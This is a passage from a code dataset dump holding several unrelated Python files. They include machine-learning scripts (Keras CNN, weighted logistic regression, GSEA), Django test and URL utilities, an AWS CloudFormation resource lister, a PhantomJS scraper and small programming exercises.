[]\n #size2 = len(features[0])\n size = len(points)\n for p in points:\n \n t = traverseTree(p, r, depth)\n if t == 1:\n labels.append(1)\n correct = correct + 1\n else:\n labels.append(0)\n incorrect = incorrect + 1\n \n \n \n#==============================================================================\n# for i in range(0, size):\n# data = []\n# for f in features[0:]:\n# print(f)\n# data.append(f[i])\n# \n# \n# t = traverseTree(data, r, size2)\n# if t == 1:\n# correct = correct + 1\n# else:\n# incorrect = incorrect + 1\n# \n# del data[:]\n#==============================================================================\n \n\n #print('Stats for ' + file)\n #print('correct= ' , correct, ' incorrect= ', incorrect)\n ac = 0.0\n ac = correct/float(size)\n #print('accuracy: ', ac)\n #print('')\n return ac, labels","sub_path":"asg5/bagged_trees.py","file_name":"bagged_trees.py","file_ext":"py","file_size_in_byte":9691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"110961978","text":"import os\n\nimport tensorflow as tf\nfrom keras.models import Sequential, model_from_json\nfrom keras.layers import Dense, Activation, Dropout, Flatten, Conv2D, MaxPooling2D\nfrom keras.utils import np_utils\nfrom keras.optimizers import SGD\nfrom keras.datasets import mnist\nfrom keras.regularizers import l1, l2\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\nclass Eunn():\n\t\n\tdef __init__(self, model_name):\n\t\tsuper(Eunn, self).__init__()\n\n\t\tself.model_name = model_name\n\t\tself.width = 100\n\t\tself.height = 100\n\n\t\tself.load_model()\n\n\n\tdef train(self, batch, y, epoc=10):\n\t\tself.model.fit(batch, y, validation_split=0.2, batch_size=128, epochs=epoc, verbose=1)\n\n\n\tdef predict(self, image):\n\t\twith self.default_graph.as_default():\n\t\t\timage = np.expand_dims(image, axis=0)\n\t\t\treturn self.model.predict([image], batch_size=1)\n\n\n\tdef load_model(self):\n\t\tmodel_file = os.path.join('model', self.model_name + '.json')\n\t\tweights_file = os.path.join('model', self.model_name + '.h5')\n\t\t\n\t\tif os.path.isfile(model_file) and os.path.isfile(weights_file):\n\t\t\tjson_file = open(model_file, 'r')\n\t\t\tloaded_model_json = json_file.read()\n\t\t\tjson_file.close()\n\t\t\tself.model = model_from_json(loaded_model_json)\n\t\t\t\n\t\t\tself.model.load_weights(weights_file)\n\t\telse:\n\t\t\tself.new_model()\n\n\t\tself.model.compile(loss='categorical_crossentropy',\n\t\t optimizer='adam',\n\t\t metrics=['accuracy'])\n\n\t\tself.model._make_predict_function()\n\t\tself.default_graph = tf.get_default_graph()\n\t\t#self.default_graph.finalize()\n\n\n\tdef save_model(self):\n\t\tmodel_file = os.path.join('model', self.model_name + '.json')\n\t\tweights_file = os.path.join('model', self.model_name + '.h5')\n\n\t\tmodel_json = self.model.to_json()\n\t\twith open(model_file, \"w\") as json_file:\n\t\t\tjson_file.write(model_json)\n\t\t\n\t\tself.model.save_weights(weights_file)\n\n\n\tdef new_model(self):\n\t\tself.model = Sequential()\n\n\t\tself.model.add(Conv2D(32, kernel_size=5, activation='relu', input_shape=(self.width, self.height, 3)))\t## 100x100\n\t\tself.model.add(Dropout(0.25))\n\t\tself.model.add(Conv2D(32, kernel_size=5, activation='relu'))\t\t\t\t\t\t\t\t\t\t\t## 100x100\n\t\tself.model.add(Dropout(0.25))\n\t\tself.model.add(MaxPooling2D(pool_size=(2,2), padding='same'))\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t## 50x50\n\t\tself.model.add(Conv2D(32, kernel_size=3, activation='relu'))\t\t\t\t\t\t\t\t\t\t\t## 50x50\n\t\tself.model.add(Dropout(0.25))\n\t\tself.model.add(MaxPooling2D(pool_size=(2,2), padding='same'))\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t## 25x25\n\t\tself.model.add(Dropout(0.25))\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t## 25x25\n\n\t\tself.model.add(Flatten())\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t## 625\n\t\tself.model.add(Dense(128, activation='relu'))\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t## 128\n\t\tself.model.add(Dropout(0.5))\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t## 128\n\t\tself.model.add(Dense(7, activation='softmax'))\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t## out: 7\n\n\tdef get_in_shape(self):\n\t\treturn (self.width, self.height)","sub_path":"classificator/eunn.py","file_name":"eunn.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"307335224","text":"# -*- coding:utf-8 -*-\n\"\"\"\nTestSettingsManager class for making temporary changes to\nsettings for the purposes of a unittest or doctest.\nIt will keep track of the original settings and let\neasily revert them back when you're done.\n\nSnippet taken from: http://www.djangosnippets.org/snippets/1011/\n\"\"\"\n\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.core.management import call_command\nfrom django.test import TestCase\n\nNO_SETTING = ('!', None)\n\nclass TestSettingsManager(object):\n \"\"\"\n A class which can modify some Django settings temporarily for a\n test and then revert them to their original values later.\n\n Automatically handles resyncing the DB if INSTALLED_APPS is\n modified.\n\n \"\"\"\n def __init__(self):\n self._original_settings = {}\n\n def set(self, **kwargs):\n for k,v in list(kwargs.items()):\n self._original_settings.setdefault(k, getattr(settings, k,\n NO_SETTING))\n setattr(settings, k, v)\n if 'INSTALLED_APPS' in kwargs:\n self.syncdb()\n\n def syncdb(self):\n apps.loaded = False\n call_command('migrate', verbosity=0)\n\n def revert(self):\n for k,v in list(self._original_settings.items()):\n if v == NO_SETTING:\n delattr(settings, k)\n else:\n setattr(settings, k, v)\n if 'INSTALLED_APPS' in self._original_settings:\n self.syncdb()\n self._original_settings = {}\n\n\nclass SettingsTestCase(TestCase):\n \"\"\"\n A subclass of the Django TestCase with a settings_manager\n attribute which is an instance of TestSettingsManager.\n\n Comes with a tearDown() method that calls\n self.settings_manager.revert().\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(SettingsTestCase, self).__init__(*args, **kwargs)\n self.settings_manager = TestSettingsManager()\n\n def tearDown(self):\n self.settings_manager.revert()\n","sub_path":"cached_modelforms/tests/utils/testsettingsmanager.py","file_name":"testsettingsmanager.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"591856280","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\nweightedLogit.py\nDesc : Weighted Logit algorithm used to predict circRNA-disease associations.\nUsage: ./weightedLogit.py directory-contains-feature-files outDir randomSeed\nE.g. : ./weightedLogit.py ./features ./weightedLogit-outdir 10\nCoder: linwei, etc\nCreated date: 20180305\n'''\nimport time\nimport numpy as np\nfrom numpy import linalg as LA\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import ShuffleSplit\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\nfrom sklearn.model_selection import KFold\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import confusion_matrix\n\nfrom scipy import stats\n\nimport sys\nfrom os import listdir\nfrom os.path import isfile, join\n\nif(len(sys.argv) != 4):\n sys.exit(\"Usage: %s directory-for-input-files outdir randomSeed\\n\" %(sys.argv[0]))\n\ndef calPRAUC(ranks, nTPs, topN):\n cumPRAUC = 0\n posRecalls = list()\n for i in range(topN):\n if(ranks[i] < nTPs):\n posRecalls.append(1)\n else:\n posRecalls.append(0)\n\n curSum = posRecalls[0]\n prevRecall = round(posRecalls[0] / nTPs, 4)\n prevPrec = round(posRecalls[0], 4)\n for i in range(1, topN):\n curSum += posRecalls[i]\n recall = round(curSum / nTPs, 4)\n prec = round(curSum / (i+1), 4)\n cumPRAUC += ((recall - prevRecall) * (prevPrec + prec) / 2)\n prevRecall = recall\n prevPrec = prec\n\n cumPRAUC = round(cumPRAUC, 4)\n return cumPRAUC\n\n\ninpath = sys.argv[1]\noutdir = sys.argv[2]\nrs = int(sys.argv[3])\n\nnfolds = 5\ntopN = 500\nT = 30\nC = np.power(10.0, range(-7, 2))\nR = np.power(2.0, range(5, 15))\nnC = len(C)\nnR = len(R)\ndFeatures = [f for f in listdir(inpath) if isfile(join(inpath, f))]\nfor df in dFeatures:\n print(\"Processing %s\" %(df) )\n dId = df.split('_')[0]\n pf = \"/\".join((inpath, df)) #processing input file: df\n\n outfile = \".\".join((dId, \"txt\"))\n of = \"/\".join((outdir, outfile))\n \n# featImp = \".\".join((dId, \"impFeat\")) #feature importance\n# fif = \"/\".join((outdir, featImp))\n\n eRecalls = np.zeros(nfolds)\n ePrecisions = np.zeros(nfolds)\n ePRAUCs = np.zeros(nfolds)\n d = np.loadtxt(pf, delimiter = ',')\n p = d[d[:, 24] == 1, :]\n u = d[d[:, 24] == 0, :]\n X_p = p[:, 0:24]\n y_p = p[:, 24]\n X_u = u[:, 0:24]\n y_u = u[:, 24]\n y_u = np.ones(y_u.shape[0]) * -1 \n #nfolds to evaluate the performance\n ikf = 0\n kf = KFold(n_splits = nfolds, shuffle = True, random_state = rs)\n X_p_splits = list(kf.split(X_p))\n X_u_splits = list(kf.split(X_u))\n for ikf in range(nfolds):\n p_train_index, p_test_index = X_p_splits[ikf]\n u_train_index, u_test_index = X_u_splits[ikf]\n X_p_train = X_p[p_train_index]\n y_p_train = y_p[p_train_index]\n X_p_test = X_p[p_test_index]\n y_p_test = y_p[p_test_index]\n \n X_u_train= X_u[u_train_index]\n y_u_train= y_u[u_train_index]\n X_u_test = X_u[u_test_index]\n y_u_test = y_u[u_test_index]\n# print(\"Train:\", X_p_train.shape, \"test:\", X_p_test.shape)\n \n start_time = time.time()\n cvMeans = np.zeros( nC * nR )\n cvStds = np.zeros(nC * nR )\n ithPair = 0\n #nested nfolds to select optimal parameters\n kf2 = KFold(n_splits = nfolds, shuffle = True, random_state = rs)\n for c in C:\n for r in R:\n recalls = np.zeros(nfolds) #recall rate per each c-r pair\n X_p_cv_splits = list(kf2.split(X_p_train))\n X_u_cv_splits = list(kf2.split(X_u_train))\n for ikf2 in range(nfolds):\n p_train_cv_index, p_val_cv_index = X_p_cv_splits[ikf2]\n u_train_cv_index, u_val_cv_index = X_u_cv_splits[ikf2]\n X_p_cv_train = X_p_train[p_train_cv_index]\n y_p_cv_train = y_p_train[p_train_cv_index]\n X_p_cv_val = X_p_train[p_val_cv_index]\n y_p_cv_val = y_p_train[p_val_cv_index]\n \n X_u_cv_train = X_u_train[u_train_cv_index]\n y_u_cv_train = y_u_train[u_train_cv_index]\n X_u_cv_val = X_u_train[u_val_cv_index]\n y_u_cv_val = y_u_train[u_val_cv_index]\n \n #mix validation + unlabel for transductive learning to see how it perform on validation set\n X_pu_cv_train = np.concatenate((X_p_cv_train, X_u_cv_train), axis = 0)\n y_pu_cv_train = np.concatenate((y_p_cv_train, y_u_cv_train), axis = 0)\n X_pu_cv_val = np.concatenate((X_p_cv_val, X_u_cv_val), axis = 0)\n y_pu_cv_val = np.concatenate((y_p_cv_val, y_u_cv_val), axis = 0)\n scaler = StandardScaler().fit(X_pu_cv_train)\n X_pu_cv_train_transformed = scaler.transform(X_pu_cv_train)\n X_pu_cv_val_transformed = scaler.transform(X_pu_cv_val)\n# pca = PCA(0.99, svd_solver=\"full\", random_state = 0)\n# pca.fit(X_pu_cv_train_transformed)\n# X_pu_cv_train_transformed = pca.transform(X_pu_cv_train_transformed)\n# X_pu_cv_val_transformed = pca.transform(X_pu_cv_val_transformed)\n clf = LogisticRegression(penalty = \"l2\", C = c, class_weight = { -1: 1, 1: r}, random_state = 1)\n clf.fit(X_pu_cv_train_transformed, y_pu_cv_train)\n scores = clf.decision_function(X_pu_cv_val_transformed)\n orderScores = np.argsort(-scores)\n topNIndex = orderScores[:topN]\n truePosIndex = np.array(range(y_p_cv_val.shape[0]) )\n truePosRecall = np.intersect1d(topNIndex, truePosIndex, assume_unique=True)\n recall = truePosRecall.shape[0] / truePosIndex.shape[0]\n# recall = calPRAUC(orderScores, y_p_cv_val.shape[0], topN)\n recalls[ikf2] = recall\n #scores = clf.predict(X_pu_cv_val_transformed)\n #nPos = np.sum(scores == 1)\n #if nPos == 0:\n # nPos = 1\n #posRate = nPos / y_pu_cv_val.shape[0]\n #recall = recall_score(y_pu_cv_val, scores)\n #recalls[ikf2] = recall * recall / posRate\n #print(\"For cost: %f, class_weight ratio: %f, fold:%d, recall:%f, F' measure: %f \" %(c, r, ikf2, recall, recalls[ikf2]))\n #print(confusion_matrix(y_pu_cv_val, scores))\n avgRecall = np.mean(recalls)\n cvMeans[ithPair] = avgRecall\n stdRecall = np.std(recalls)\n cvStds[ithPair] = stdRecall\n #print(\"For cost: %f, class_weight ratio: %f, rank of top %d: average recall: %.2f%%, std of recall: %.2f\" %(c, r, topN, avgRecall*100, stdRecall ))\n #print(\"For each fold:\", recalls)\n ithPair += 1\n elapsed_time = time.time() - start_time\n cvMaxMeanIndex = np.argmax(cvMeans)\n optimalC = C[cvMaxMeanIndex // nR]\n optimalR = R[cvMaxMeanIndex % nR]\n #print(\"cv-MaxMean:\", cvMeans[cvMaxMeanIndex], \"cv-MaxMean_std:\", cvStds[cvMaxMeanIndex], \"cvMaxMeanIndex:\", cvMaxMeanIndex)\n print(\"disease:\", dId, \", randomSeed:\", rs, \", ithFold:\", ikf, \", optimalC:\", optimalC, \", optimalR:\", optimalR, \", cv-MaxMean:\", cvMeans[cvMaxMeanIndex])\n #print(\"cross-validation time elapsed: %.2f\" %(elapsed_time) )\n #After parameter selection, we evaluate on the test set with the optimal parameters\n X_test = np.concatenate((X_p_test, X_u_test), axis = 0)\n y_test = np.concatenate((y_p_test, y_u_test), axis = 0)\n X_train = np.concatenate((X_p_train, X_u_train), axis = 0)\n y_train = np.concatenate((y_p_train, y_u_train), axis = 0)\n scaler = StandardScaler().fit(X_train)\n X_train_transformed = scaler.transform(X_train)\n X_test_transformed = scaler.transform(X_test)\n# pca = PCA(0.99, svd_solver=\"full\", random_state = 0) \n# pca.fit(X_train_transformed)\n# X_train_transformed = pca.transform(X_train_transformed)\n# X_test_transformed = pca.transform(X_test_transformed)\n\n clf = LogisticRegression(penalty = \"l2\", C = optimalC, class_weight = { -1: 1, 1: optimalR}, random_state = 1)\n clf.fit(X_train_transformed, y_train)\n #scores = clf.predict(X_test_transformed)\n #scores = clf.decision_function(X_pu_cv_test_transformed)\n scores = clf.predict_proba(X_test_transformed)[:, 1]\n# scoreList = [str(item) for item in scores]\n# scoreStr = ','.join(scoreList)\n orderScores = np.argsort(-scores)\n orderList = [str(item) for item in orderScores]\n orderStr = ','.join(orderList)\n topNIndex = orderScores[:topN]\n #print(\"avgScores:\", avgScores[topNIndex])\n truePosIndex = np.array(range(y_p_test.shape[0]) )\n truePosRecall = np.intersect1d(topNIndex, truePosIndex, assume_unique=True)\n \n recall = truePosRecall.shape[0] / truePosIndex.shape[0]\n precision = truePosRecall.shape[0] / topN\n #recall = recall_score(y_test, scores)\n prauc = calPRAUC(orderScores, y_p_test.shape[0], topN)\n eRecalls[ikf] = recall\n #precision = precision_score(y_test, scores)\n ePrecisions[ikf] = precision\n ePRAUCs[ikf] = prauc\n\n print(\"dId: %s, randomState: %d, %dth-fold, recall: %.2f%%, precision: %.2f%%, prauc: %.4f\" %(dId, rs, ikf, recall*100, precision*100, prauc))\n with open(of, \"a\") as output: \n output.write(\"%s-RandomState%d-%dth fold, number of true positive:%d\\n\" %(dId, rs, ikf, y_p_test.shape[0]))\n output.write(\"%s\\n\" %(orderStr))\n output.write(\"END\\n\")\n mRecall = np.mean(eRecalls)\n stdRecall = np.std(eRecalls)\n mPrec = np.mean(ePrecisions)\n stdPrec = np.std(ePrecisions)\n mPRAUC = np.mean(ePRAUCs)\n stdPRAUC = np.std(ePRAUCs)\n recallList = [str(item) for item in eRecalls]\n precList = [str(item) for item in ePrecisions]\n praucList = [str(item) for item in ePRAUCs]\n recallStr = ','.join(recallList)\n precStr = ','.join(precList)\n praucStr = ','.join(praucList)\n\n with open (of, \"a\") as output:\n output.write(\"%s-RandomState%d, mean+-std recall:%.4f,%.4f\\n\" %(dId, rs, mRecall, stdRecall))\n output.write(\"%s-RandomState%d, mean+-std precision:%.4f,%.4f\\n\" %(dId, rs, mPrec, stdPrec))\n output.write(\"%s-RandomState%d, mean+-std prauc:%.4f,%.4f\\n\" %(dId, rs, mPRAUC, stdPRAUC))\n output.write(\"%s-RandomState%d, 5-fold cv recall:%s\\n\" %(dId, rs, recallStr))\n output.write(\"%s-RandomState%d, 5-fold cv precision:%s\\n\" %(dId, rs, precStr))\n output.write(\"%s-RandomState%d, 5-fold cv prauc:%s\\n\" %(dId, rs, praucStr))\n output.write(\"END\\n\")\n print(\"summary of %s, randomSeed: %d, top %d, mean/std of prauc, mean/std of recall, mean/std of precision: %f,%f,%f,%f,%f,%f\" %(dId, rs, topN, mPRAUC, stdPRAUC, mRecall, stdRecall, mPrec, stdPrec))\n print(eRecalls)\n print(ePrecisions)\n print(ePRAUCs)\n print(\"END\")\n","sub_path":"weightedLogit.py","file_name":"weightedLogit.py","file_ext":"py","file_size_in_byte":11440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"427803192","text":"from numpy import full, nan\nfrom pandas import DataFrame, concat\n\nfrom .call_function_with_multiprocess import call_function_with_multiprocess\nfrom .single_sample_gsea import single_sample_gsea\nfrom .split_dataframe import split_dataframe\n\n\ndef _single_sample_gseas(gene_x_sample, gene_sets, statistic):\n\n print(\"Running single-sample GSEA with {} gene sets ...\".format(gene_sets.shape[0]))\n\n score__gene_set_x_sample = full((gene_sets.shape[0], gene_x_sample.shape[1]), nan)\n\n for sample_index, (sample_name, gene_score) in enumerate(gene_x_sample.items()):\n\n for gene_set_index, (gene_set_name, gene_set_genes) in enumerate(\n gene_sets.iterrows()\n ):\n\n score__gene_set_x_sample[gene_set_index, sample_index] = single_sample_gsea(\n gene_score, gene_set_genes, statistic=statistic, plot=False\n )\n\n score__gene_set_x_sample = DataFrame(\n score__gene_set_x_sample, index=gene_sets.index, columns=gene_x_sample.columns\n )\n\n return score__gene_set_x_sample\n\n\ndef single_sample_gseas(\n gene_x_sample, gene_sets, statistic=\"ks\", n_job=1, file_path=None\n):\n\n score__gene_set_x_sample = concat(\n call_function_with_multiprocess(\n _single_sample_gseas,\n (\n (gene_x_sample, gene_sets_, statistic)\n for gene_sets_ in split_dataframe(\n gene_sets, 0, min(gene_sets.shape[0], n_job)\n )\n ),\n n_job,\n )\n )\n\n if file_path is not None:\n\n score__gene_set_x_sample.to_csv(file_path, sep=\"\\t\")\n\n return score__gene_set_x_sample\n","sub_path":"ccal/single_sample_gseas.py","file_name":"single_sample_gseas.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"402277132","text":"import boto3\nimport json\n\n\n\nclient = boto3.client('cloudformation')\noutput='../src/.resource_map.yaml'\n\nif output.endswith('.yaml') or output.endswith('.yml'):\n\ttry:\n\t\timport yaml\n\texcept:\n\t\tprint('Need PyYaml package to save yaml file.')\n\t\texit(1)\n\nresponse = client.list_stacks(StackStatusFilter=['CREATE_COMPLETE', 'UPDATE_COMPLETE'])\n\nif response['ResponseMetadata']['HTTPStatusCode'] != 200:\n\tprint('List stacks failed. return:\\n{}'.format(response))\n\texit(1)\n\ndata = {}\n\ndef list_resources(stack_name, next_token=None, result=None):\n\tresult = result or {}\n\tif next_token:\n\t\tresponse = client.list_stack_resources(StackName=stack_name, NextToken=next_token)\n\telse:\n\t\tresponse = client.list_stack_resources(StackName=stack_name)\n\tif response['ResponseMetadata']['HTTPStatusCode'] != 200:\n\t\tprint('List resource in {} failed. return:\\n{}'.format(stack_name, response))\n\t\texit(1)\n\tfor resource in response['StackResourceSummaries']:\n\t\tresult[resource['LogicalResourceId']] = resource['PhysicalResourceId']\n\tif 'NextToken' in response:\n\t\tlist_resources(stack_name, response['NextToken'], result)\n\treturn result\n\nfor s in response['StackSummaries']:\n\tname = s['StackName']\n\tprint(name)\n\tdata[name] = list_resources(name)\n\nwith open(output, 'w') as outfile:\n\tif output.endswith('.yaml') or output.endswith('.yml'):\n\t\tyaml.dump(data, outfile, default_flow_style=False)\n\telse:\n\t\tjson.dump(data, outfile)\n\t","sub_path":"bin/get_cloudformation_resources_map.py","file_name":"get_cloudformation_resources_map.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"214996946","text":"import glob\r\nfrom face_recognition import load_image_file, face_encodings\r\nfrom concurrent import futures\r\nimport time\r\n\r\nALLOWED_IMAGE_EXTENSION = 'jpg'\r\n\r\n\r\ndef get_face_encodings(images, logger):\r\n total = None\r\n for img in images:\r\n encodings = face_encodings(img)\r\n if not encodings:\r\n continue\r\n encodings = encodings[0]\r\n try:\r\n total = encodings if total is None \\\r\n else total + encodings\r\n except ValueError:\r\n logger.error(\"Value error catched. Total {} / new {}\".format(total, encodings))\r\n return total\r\n\r\ndef download_images(image_dir, logger):\r\n logger.info(\"Downloading images...\")\r\n res = [load_image_file(img) for img in get_image_path(image_dir)]\r\n logger.info(\"Downloading images finished!\")\r\n return res\r\n\r\ndef get_image_path(image_dir):\r\n yield from glob.iglob('{}/**/*.{}'.format(image_dir, ALLOWED_IMAGE_EXTENSION), recursive=True)\r\n\r\ndef get_average_array(count, arrays):\r\n total = None\r\n for arr in arrays:\r\n total = arr if total is None \\\r\n else total + arr\r\n return total / count\r\n\r\ndef timing(f):\r\n def wrap(*args):\r\n t0 = time.time()\r\n res = f(*args)\r\n t1 = time.time()\r\n print('{:s} function took {:.3f} ms'.format(f.__name__, (t1 - t0) * 1000.0))\r\n return res\r\n return wrap\r\n\r\nclass Averager(object):\r\n\r\n def __init__(self, image_dir, logger, step = 1000):\r\n self.__logger = logger\r\n self.__images = download_images(image_dir, logger)\r\n self.__step = step\r\n\r\n @property\r\n def images_count(self):\r\n return len(self.images)\r\n\r\n @property\r\n def images(self):\r\n return self.__images\r\n\r\n @property\r\n def step(self):\r\n return self.__step\r\n\r\n @property\r\n def logger(self):\r\n return self.__logger\r\n\r\n @timing\r\n def get_parallel_total_avg_vector(self):\r\n self.logger.info(\"Calculating avg vector in parallel mode...\")\r\n if not self.images or self.step > self.images_count:\r\n return\r\n face_encodings = []\r\n image_slices, max_workers = self.__slice_images()\r\n with futures.ProcessPoolExecutor(max_workers=max_workers) as executor:\r\n to_do_list = []\r\n for worker_idx, item_slice in enumerate(image_slices, 1):\r\n future = executor.submit(get_face_encodings, item_slice, self.logger)\r\n to_do_list.append(future)\r\n for future in futures.as_completed(to_do_list):\r\n res = future.result()\r\n face_encodings.append(res)\r\n return get_average_array(self.images_count, face_encodings)\r\n\r\n @timing\r\n def get_sequential_total_avg_vector(self):\r\n self.logger.info(\"Calculating avg vector in sequential mode...\")\r\n face_encodings = get_face_encodings(self.images, self.logger)\r\n return get_average_array(self.images_count, [face_encodings])\r\n\r\n def __slice_images(self):\r\n slices = []\r\n startIter, endIter = 0, 0 \r\n max_workers = self.images_count // self.step \r\n for _ in range(max_workers):\r\n endIter = self.step if self.step else endIter + self.step\r\n slices.append(self.images[startIter : endIter])\r\n startIter = endIter\r\n rest = self.images[endIter:]\r\n slices.append(rest)\r\n return slices, len(slices)\r\n\r\n","sub_path":"app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"381059034","text":"from django.contrib.auth.decorators import login_required\nfrom django.urls import path\n\nfrom recruit import views\n\nurlpatterns = [\n path('chat/', login_required(views.recruit_chat), name='contact_with_clients'),\n path('get_messages/', views.get_messages, name='get_messages'),\n path('send_message/', views.send_message, name='send_message'),\n path('chat_update/', views.chat_update, name='chat_update'),\n path('check_mes/', views.check_mes, name='check_mes'),\n path('', views.recruit_main_page, name='main_page'),\n\n]","sub_path":"recruit/recruit_url.py","file_name":"recruit_url.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"373553268","text":"\ndef check_index_exsist(mylist, index):\n try:\n mylist[index]\n return True\n except IndexError:\n return False\n\n\ndef check_squence_exist(mylist, mysquence):\n status = False\n for i in range(len(mylist)):\n if mylist[i] == mysquence[0]:\n status = True\n tmpI = i\n for x in range(len(mysquence)):\n if not check_index_exsist(mylist, tmpI) or not mysquence[x] == mylist[tmpI]:\n status = False\n if status :\n return status \n tmpI += 1\n return status\n\n","sub_path":"py_helpers.py","file_name":"py_helpers.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"167992244","text":"class Solution:\n def findRadius(self, houses, heaters):\n \"\"\"\n :type houses: List[int]\n :type heaters: List[int]\n :rtype: int\n \"\"\"\n if not houses:\n return 0\n \n houses.sort()\n heaters.sort()\n result = 0\n position = self.searchInsert(heaters,houses[0])\n lengthHeater = len(heaters)\n \n for house in houses:\n while position < lengthHeater and house > heaters[position]:\n position += 1\n if position == lengthHeater:\n result = max(house - heaters[-1],result)\n elif position == 0:\n result = max(heaters[0] - house,result)\n else:\n result = max(min(house - heaters[position - 1],heaters[position] - house),result)\n return result\n \n def searchInsert(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n \n length = len(nums)\n if target <= nums[0]:\n return 0\n elif target > nums[-1]:\n return length\n \n #assume that this nums is long,and the position of the insertion is within the list\n left = 0\n right = length - 1\n while True:\n middle = (left + right) // 2\n if nums[middle] < target <= nums[middle + 1]:\n return middle + 1\n elif target <= nums[middle]:\n right = middle\n else:\n left = middle + 1\n","sub_path":"TangYuCreated/leetcode/Python/简单题目/475.py","file_name":"475.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"178432808","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\n\"\"\"\n\n把phantomjs.exe移到python文件夹中的Scripts中,至此,就已经在Win的环境下配置好了环境。\n\nPhantomJS是一个基于Webkit的\"无界面\"(headless)浏览器,它会把网站加载到内存并执行页面上的JavaScript,因为不会展示图形界面,所以运行起来比完整的浏览器更高效。\n\n#如果没有在环境变量指定PhantomJS位置\n#driver = webdriver.PhantomJS(executable_path = \"./phantomjs\")\n\nhttps://www.cnblogs.com/miqi1992/p/8093958.html\n\n\"\"\"\n\nimport sys,os,json,datetime\nfrom lxml import etree\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\n\nheaders = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',\n 'User-Agent': 'chrome',\n 'referer':'http://www.google.com'\n}\n\ndcap = DesiredCapabilities.PHANTOMJS.copy() \n\nfor key, val in headers.items():\n dcap['phantomjs.page.customHeaders.{}'.format(key)] = val\n\ndcap[\"phantomjs.page.settings.loadImages\"] = False # 禁止加载图片\n\nurl = \"http://45.63.122.222/0.php\"\n#url = \"http://localhost/python/selenium1/0.php\"\n\nbrowser = webdriver.PhantomJS(desired_capabilities=dcap)\nbrowser.get(url)\n\nprint ( browser.find_element_by_xpath(\"//h1\").text )\n\nprint ( '---------------------------------------' )\n\nprint ( browser.page_source )\n\nbrowser.quit()\n","sub_path":"PhantomJS1/getjs1.py","file_name":"getjs1.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"44782979","text":"gols = []\naproveitamento_jogador = {}\ntotal = 0\nresp = ''\nlista_jogadores = list()\nmaior_qtd_gols = 0\nwhile True:\n nome_jogador = str(input('Nome do jogador: '))\n qtd_partidas = int(input(f'Quantas partidadas {nome_jogador} jogou?'))\n gols.clear()\n for c in range(1, qtd_partidas + 1):\n aux = (int(input(f'Quantos gols na partida {c}?')))\n total += aux\n gols.append(aux)\n if maior_qtd_gols <= len(gols):\n maior_qtd_gols = len(gols)\n aproveitamento_jogador = {'Nome': nome_jogador, 'Gols': gols[:], 'Total': total}\n lista_jogadores.append(aproveitamento_jogador.copy())\n aproveitamento_jogador.clear()\n while True:\n resp = str(input('Quer continuar? [S/N]')).upper().strip()[0]\n if resp in 'SN':\n break\n if resp in 'N':\n break\nprint('-=' * 60)\nprint(f'{\"cod\":<2}{\"nome\":^{maior_qtd_gols * 2 + 9}}{\"gols\":^{maior_qtd_gols * 2 + 9}}{\"total\":^{maior_qtd_gols * 2 + 11}}')\nprint('-' * 120)\nfor c in range(len(lista_jogadores)):\n print(f'{c:>3} ', end=\" \")\n for v in lista_jogadores[c].values():\n print(f'{str(v):^{maior_qtd_gols * 2 + 9}}', end='')\n print()\nprint('-' * 120)\nwhile True:\n mostrar = int(input('Mostrar dados de qual jogador? Digite 999 para sair!'))\n if mostrar == 999:\n break\n if mostrar >= 0 and mostrar < len(lista_jogadores):\n print(f'Levantamento do jogador {lista_jogadores[mostrar][\"Nome\"]}')\n for k, v in enumerate(lista_jogadores[mostrar][\"Gols\"]):\n print(f'=> Na partida {k + 1} fez {v} gols.')\n else:\n print(f'Erro! Não existe jogador com o codigo {mostrar}')\n 